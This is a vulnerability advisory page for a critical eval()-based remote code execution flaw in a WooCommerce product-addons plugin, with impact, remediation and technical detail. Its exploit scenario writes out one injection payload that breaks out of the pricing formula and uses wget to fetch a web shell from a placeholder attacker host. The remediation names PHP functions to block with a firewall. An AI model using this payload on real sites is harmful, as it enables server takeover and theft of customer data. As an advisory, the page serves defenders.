Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessSubmit malicious pricing formula via product addon
-
ExploitBypass sanitize_values() HTML stripping
-
ExecutionInject PHP code into eval() function
-
ImpactExecute arbitrary code on server
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Eval input sanitization
MITRE ATT&CK
1 technique across 1 tactic: Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Requires WooCommerce Custom Product Addons Pro plugin versions up to 5.4.1 installed and activated. Unauthenticated remote attacker submits malicious PHP code via custom pricing formula field values. No victim interaction required. Default WordPress installations with this plugin are vulnerable. |
| Impact | This vulnerability presents an exceptionally high real-world risk based on multiple threat indicators. The CVSS 3.1 vector (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) confirms this is remotely exploitable over the network with low attack complexity, requires no privileges or user interaction, and enables complete system compromise with high impact to confidentiality, integrity, and availability. The combination of unauthenticated remote code execution in a WordPress plugin makes this inherently automatable and trivial to exploit at scale. E-commerce sites using WooCommerce with this plugin are particularly attractive targets due to the potential for payment data theft, site defacement, or pivot points into broader infrastructure. While EPSS scores and KEV status are not provided in available intelligence, the technical characteristics strongly suggest active exploitation is likely given the ease of weaponization and the high-value target profile of e-commerce platforms. |
| Exploit ScenarioDerived | An unauthenticated attacker browses to a WooCommerce product page that uses the Woocommerce Custom Product Addons Pro plugin with a text field configured for custom pricing formulas. The attacker submits a crafted value such as ');system('wget attacker.com/shell.php -O /tmp/shell.php');// into the custom field, which gets passed unsanitized to the eval() function in process_custom_formula(). This executes arbitrary PHP code on the server, allowing the attacker to download and execute a web shell, establish persistence, exfiltrate customer payment data from the WooCommerce database, and potentially pivot to other systems in the environment. Given the low attack complexity and lack of authentication requirements, mass exploitation via automated scanning is highly feasible. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Mar 23, 2026
The Woocommerce Custom Product Addons Pro plugin for WordPress contains a critical remote code execution vulnerability caused by unsafe use of PHP's eval() function when processing custom pricing formulas. All versions up to and including 5.4.1 are affected, allowing unauthenticated attackers to execute arbitrary PHP code on the server by submitting malicious input to WCPA text fields configured with custom pricing formulas. With a CVSS score of 9.8, this represents a maximum severity issue requiring immediate attention, though EPSS and KEV status data are not provided in the available intelligence.
RemediationAI
Immediately upgrade Woocommerce Custom Product Addons Pro to version 5.4.2 or later if available, consulting the vendor advisory at https://acowebs.com/woo-custom-product-addons/ for the latest patched release. If an immediate upgrade is not feasible, disable all custom pricing formulas that use the {this.value} placeholder or completely deactivate the plugin until patching can be completed. Implement Web Application Firewall (WAF) rules to block requests containing PHP code patterns (such as system, exec, passthru, shell_exec) to WCPA field parameters as a temporary mitigation layer. Review server logs for suspicious POST requests to wp-admin/admin-ajax.php or other WordPress AJAX endpoints that may indicate exploitation attempts, and conduct a full security audit if any anomalous activity is detected, as successful exploitation may have already occurred.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
This vulnerability affects the Woocommerce Custom Product Addons Pro plugin (CPE: cpe:2.3:a:acowebs:woocommerce_custom_product_addons_pro:*:*:*:*:*:*:*:*), a WordPress extension that allows merchants to add custom fields and dynamic pricing to WooCommerce products. The root cause is CWE-95 (Improper Neutralization of Directives in Dynamically Evaluated Code), where user-supplied values are passed to PHP's eval() function within the process_custom_formula() function in includes/process/price.php. While the sanitize_values() method attempts to strip HTML tags, it fails to properly escape single quotes or prevent PHP code injection, allowing attackers to break out of the intended context and inject arbitrary PHP directives when custom pricing formulas use the {this.value} placeholder to reference user input.
Know when Woocommerce Custom Product Addons Pro gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Primary rating from NVD · only source for this CVE.
CVSS VectorNVD
DescriptionCVE.org
The Woocommerce Custom Product Addons Pro plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 5.4.1 via the custom pricing formula eval() in the process_custom_formula() function within includes/process/price.php. This is due to insufficient sanitization and validation of user-submitted field values before passing them to PHP's eval() function. The sanitize_values() method strips HTML tags but does not escape single quotes or prevent PHP code injection. This makes it possible for unauthenticated attackers to execute arbitrary code on the server by submitting a crafted value to a WCPA text field configured with custom pricing formula (pricingType: "custom" with {this.value}).
Executive ViewAI
A critical remote code execution vulnerability in the WooCommerce Custom Product Addons Pro plugin allows unauthenticated attackers to execute arbitrary code on affected WordPress sites, potentially compromising customer data, payment information, and business operations. Organizations using this plugin are at immediate risk of full system compromise and must take emergency action to protect their infrastructure.
Disable the custom pricing formula feature in WCPA settings immediately; implement WAF rules to block malicious payloads targeting WCPA text fields; restrict plugin access via network segmentation or IP whitelisting; remove the plugin entirely if business-critical functionality can be achieved through alternative means; increase server-side logging and monitoring for suspicious PHP execution patterns; consider temporary removal of affected WooCommerce stores from production until patch availability.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Code injection occurs when an application accepts user input and passes it directly into a language interpreter or evaluator without proper sanitization.
Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.
EUVD-2026-14652
GHSA-2qpc-rpxq-phv6
NVD
CVE.org
EPSS
Vulnrichment
VulDB
Exploit-DB